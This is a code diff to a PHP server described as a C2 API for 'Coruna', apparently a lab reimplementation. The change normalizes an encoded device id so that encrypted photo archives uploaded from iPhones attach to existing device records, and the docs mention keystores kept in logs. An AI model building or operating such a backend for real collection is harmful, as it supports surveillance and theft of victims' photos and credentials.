diff --git a/doc/C2_API.md b/doc/C2_API.md index c334360..ad2b852 100644 --- a/doc/C2_API.md +++ b/doc/C2_API.md @@ -57,7 +57,9 @@ null | `s` / `u` / `sbu` | 其它会话/用户侧短字段 | | `v` | 插件或模块版本串 | -设备主键启发式:`id` → `d` → `f` → `c`(见 `IngestService::extractDeviceKey`)。 +设备主键:只取 `d` / `f`(见 `IngestService::extractDeviceKey`)。 +`/api/user/check` multipart 的 `d`/`f` 为编码形态 +`hex(ascii(nibbleSwap(byteReverse(json_d))))`(例:`000430C910E8E526` → `36323545384530313943303334303030`);Lab 在入库前归一化为 JSON 侧 16 hex。 --- @@ -329,6 +331,7 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志 | `x-hit` | 检测分数类短字段 | | `rid` | ~36 字符请求/资源 id | | `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) | +| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 | | `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 | 7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。 diff --git a/server/app/Http/Controllers/C2/C2Controller.php b/server/app/Http/Controllers/C2/C2Controller.php index ed0841d..569c0e0 100644 --- a/server/app/Http/Controllers/C2/C2Controller.php +++ b/server/app/Http/Controllers/C2/C2Controller.php @@ -102,9 +102,12 @@ class C2Controller extends Controller public function check(Request $request): Response { - $deviceKey = $request->attributes->get('coruna_device_key') + $rawKey = $request->attributes->get('coruna_device_key') ?: $request->input('d') ?: $request->input('f'); + $deviceKey = is_string($rawKey) && $rawKey !== '' + ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64)) + : null; $device = $this->ingest->upsertDevice( $request, array_filter([ @@ -112,7 +115,7 @@ class C2Controller extends Controller 'c' => $request->input('c'), 'channel' => $request->input('channel'), ]), - $deviceKey ? (string) $deviceKey : null + $deviceKey ); // Archive password = session_key || batchBaseTimestampString. diff --git a/server/app/Http/Middleware/DecryptCorunaBody.php b/server/app/Http/Middleware/DecryptCorunaBody.php index 5fc6594..37c7dad 100644 --- a/server/app/Http/Middleware/DecryptCorunaBody.php +++ b/server/app/Http/Middleware/DecryptCorunaBody.php @@ -3,6 +3,7 @@ namespace App\Http\Middleware; use App\Services\CorunaCrypto; +use App\Services\IngestService; use Closure; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Response; @@ -59,6 +60,7 @@ class DecryptCorunaBody } // Device id currently only from d/f (same value in live traffic). + // /check multipart may send the hex-ascii + nibble/byte-swapped form. if (is_array($payload)) { foreach (['d', 'f'] as $k) { if (! empty($payload[$k]) && is_string($payload[$k])) { @@ -66,6 +68,17 @@ class DecryptCorunaBody break; } } + if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) { + foreach (['d', 'f'] as $k) { + if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) { + $deviceKey = $payload['form'][$k]; + break; + } + } + } + } + if (is_string($deviceKey) && $deviceKey !== '') { + $deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)); } create_log([ diff --git a/server/app/Services/IngestService.php b/server/app/Services/IngestService.php index 5e942d0..3d0bd0d 100644 --- a/server/app/Services/IngestService.php +++ b/server/app/Services/IngestService.php @@ -19,21 +19,69 @@ class IngestService /** * Stable device id — currently only from payload `d` / `f`. * Other fields will be added when confirmed in live traffic. + * + * `/api/user/check` multipart sends an encoded form of the same id + * (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form. */ public function extractDeviceKey(?array $payload): ?string { if (! is_array($payload)) { return null; } - foreach (['d', 'f'] as $key) { - if (! empty($payload[$key]) && is_string($payload[$key])) { - return substr($payload[$key], 0, 64); + $candidates = []; + if (isset($payload['form']) && is_array($payload['form'])) { + $candidates[] = $payload['form']['d'] ?? null; + $candidates[] = $payload['form']['f'] ?? null; + } + $candidates[] = $payload['d'] ?? null; + $candidates[] = $payload['f'] ?? null; + + foreach ($candidates as $value) { + if (! empty($value) && is_string($value)) { + return self::normalizeDeviceKey(substr($value, 0, 64)); } } return null; } + /** + * Map `/check` multipart `d`/`f` onto the JSON-route device id. + * + * Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))). + * Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`. + * Plain 16-hex (and non-matching strings) pass through unchanged. + */ + public static function normalizeDeviceKey(?string $key): ?string + { + if ($key === null || $key === '') { + return $key; + } + + if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) { + return $key; + } + + $ascii = hex2bin($key); + if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) { + return $key; + } + + $raw = hex2bin($ascii); + if ($raw === false || strlen($raw) !== 8) { + return $key; + } + + $rev = strrev($raw); + $out = ''; + for ($i = 0; $i < 8; $i++) { + $b = ord($rev[$i]); + $out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4)); + } + + return $out; + } + /** * Campaign / channel id from reporting traffic. * @@ -70,7 +118,9 @@ class IngestService public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { - $deviceKey ??= $this->extractDeviceKey($payload); + $deviceKey = $deviceKey !== null + ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) + : $this->extractDeviceKey($payload); if (! $deviceKey) { return null; } diff --git a/server/tests/Feature/C2ApiTest.php b/server/tests/Feature/C2ApiTest.php index 074a707..2cb1b18 100644 --- a/server/tests/Feature/C2ApiTest.php +++ b/server/tests/Feature/C2ApiTest.php @@ -343,6 +343,64 @@ class C2ApiTest extends TestCase @rmdir($tmp); } + #[Test] + public function check_normalizes_encoded_device_key_onto_existing_device(): void + { + Storage::fake('local'); + $crypto = new CorunaCrypto; + Device::query()->create([ + 'device_id' => '000430C910E8E526', + 'ios_version' => '15.8.4', + 'device_model' => 'iPhone9,1', + 'ip' => '1.2.3.4', + ]); + + $tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid(); + mkdir($tmp); + $jpegPath = $tmp.'/hit.jpg'; + file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9"); + $archivePath = $tmp.'/capture.7z'; + $password = $crypto->archivePassword('0'); + $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z') + ? '/opt/homebrew/opt/p7zip/bin/7z' + : '7z'; + $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password) + .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1'; + exec($cmd, $out, $code); + $this->assertSame(0, $code, implode("\n", $out)); + + $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); + $this->call( + 'POST', + '/api/user/check', + [ + // Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d)))) + 'd' => '36323545384530313943303334303030', + 'f' => '36323545384530313943303334303030', + 'batchBase' => '0', + ], + [], + ['file' => $upload], + ['CONTENT_TYPE' => 'multipart/form-data'] + )->assertOk(); + + $this->assertNull( + Device::query()->where('device_id', '36323545384530313943303334303030')->first() + ); + $this->assertNull( + Device::query()->where('device_id', '625E8E019C034000')->first() + ); + $device = Device::query()->where('device_id', '000430C910E8E526')->first(); + $this->assertNotNull($device); + $this->assertTrue( + Photo::query()->where('device_id', $device->id)->exists() + ); + + @unlink($jpegPath); + @unlink($archivePath); + @rmdir($tmp); + } + #[Test] public function check_uses_multipart_ts_as_batch_base_password(): void { diff --git a/server/tests/Unit/IngestServiceNormalizeTest.php b/server/tests/Unit/IngestServiceNormalizeTest.php new file mode 100644 index 0000000..dae7916 --- /dev/null +++ b/server/tests/Unit/IngestServiceNormalizeTest.php @@ -0,0 +1,50 @@ +assertSame( + '000430C910E8E526', + IngestService::normalizeDeviceKey('36323545384530313943303334303030') + ); + $this->assertSame( + '000430C910E8E526', + IngestService::normalizeDeviceKey('36323545384530313943303334303030') + ); + } + + #[Test] + public function plain_json_device_key_passes_through(): void + { + $this->assertSame( + '000430C910E8E526', + IngestService::normalizeDeviceKey('000430C910E8E526') + ); + $this->assertSame('dev-photo-1', IngestService::normalizeDeviceKey('dev-photo-1')); + $this->assertNull(IngestService::normalizeDeviceKey(null)); + $this->assertSame('', IngestService::normalizeDeviceKey('')); + } + + #[Test] + public function extract_device_key_normalizes_form_nested_d(): void + { + $ingest = $this->app->make(IngestService::class); + $this->assertSame( + '000430C910E8E526', + $ingest->extractDeviceKey([ + 'form' => [ + 'd' => '36323545384530313943303334303030', + 'f' => '36323545384530313943303334303030', + ], + ]) + ); + } +}